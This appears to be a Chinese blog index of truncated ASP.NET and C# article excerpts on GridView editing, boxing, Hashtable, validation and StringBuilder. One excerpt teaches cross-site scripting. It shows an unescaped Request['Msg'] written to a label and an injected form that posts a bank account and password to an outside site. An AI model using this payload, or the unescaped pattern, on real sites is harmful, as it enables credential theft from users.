摘要:
在Gridview模板中编辑的操作,在正常的现实状态下,应该使用的是:<ItemTemplate></ItemTemplate>模板(非编辑状态),在启动编辑状态时候,使用<EditItemTemplate></EditItemTemplate>,前台代码如下:前台代码 1 <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="false" 2 onrowcancelingedit="GridVi 阅读全文
摘要:
Gridview自定义编辑操作,利用属性CommandName,CommandArgument来实现这种编辑的操作,对于更新,编辑,修改,取消,CommandName都有固定的关键字,分别为Update,Edit,Cancel.前台代码如下:View Code 1 <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="false" 2 onrowcancelingedit="GridView1_RowCancelingEdit" 3 阅读全文
摘要:
利用Gridview控件自身所带的默认编辑,删除操作 数据:后台代码的书写:View Code 1 protected void Page_Load(object sender, EventArgs e) 2 { 3 if (!IsPostBack) 4 { 5 databind(); 6 } 7 8 } 9 public void databind()10 {11 SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["Conn"].ToString());12 SqlCo 阅读全文
摘要:
System.String继承自System.Object的一个子类,所有直接或简介继承自System .ValueType的类型属于值类型,这是判断值类型与引用类型的标准。string属于引用类型而不属于值类型。代码显示结果如下:通过结果可以看出,我们开始定义了两个字符串引用str和str1,并且使它们指向同一个字符串str,当我们调用string.ReferenceEquals()方法可以验证str和str1指向同一内容,当我们str1=“I LOVE YOU”;,分别查看str和str1对象,发现他们指向了不同的对象,并且当我们调用string.ReferenceEquals()方法发现 阅读全文
摘要:
Hashtable 在集合中称为键值对,它的每一个元素的类型是 DictionaryEntry,由于Hashtable对象的键和值都是Object类型,决定了它可以放任何类型的数据,下面我就把Hashtable对象中放置定义的一个类的几个对象。创建的类如下:代码Hashtable的几种遍历方法如下:代码 阅读全文
摘要:
C#中的装箱,拆箱操作过程随处可见,装箱:将一个值类型转换成一个oject类型;拆箱:将一个object类型转换成值类型。装箱也就是创建了一个object实例,并将这个值复制给这个object,装箱后object对象中的数据存放在托管堆中,托管堆的地址放在堆栈中,是作为一个复制文件赋值给对象的。装箱和拆箱需要进行大量计算,对值类型装箱需要分配一个全新的对象,次之,取消装箱也需要进行大量的计算,减少装箱和拆箱操作对应用程序的性能有很好的途径。所以在.NET Framework 2.0时候微软推出泛型,他有效的解决了这个性能的问题。代码 阅读全文
摘要:
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。源页面放一个标签,在后台Page_Load里面写this.textLabel.Text = Request["Msg"];构建攻击,让攻击后把数据传递到目标页构建代码如下:Msg=form action='http://www.shtarena.com' method='get'银行账号:input type='text' name='ID'/密码:input ty 阅读全文
摘要:
比如设置取款额度不能大于100元,客户端写法如下:asp:Button ID="txtSubmit" runat="server"OnClientClick="var test=document.getElementById('TextBox1').value;if(parseInt(test,10)100) alert('取款额度不能大于100'); else return;" Text="Button" onclick="Button1_Click" / 但是如果客户端浏览器禁用JavaScript,就没有效果;服务端验证如下:if (int.Parse(this.TextBox1. 阅读全文
摘要:
如果要操作一个不断增长的字符串,尽量不用String类,改用StringBuilder类。两个类的工作原理不同:String类是一种传统的修改字符串方式,它确实可以完成把一个字符串添加到另一个字符串上的工作没错,但是再.NET框架下,这个操作实在是划不来。因为系统先是把两个字符串写入内存,接着删除原来的String对象,然后创建一个String对象,并读取内存中的数据赋给该对象。这样一来二去,耗费了不少时间。而使用System.Text命名空间下面的StringBuilder类就不是这样了,它提供的Append方法,能够在已有的对象的原地进行字符串的修改,简单而且直接。当然,一般情况下觉察不到 阅读全文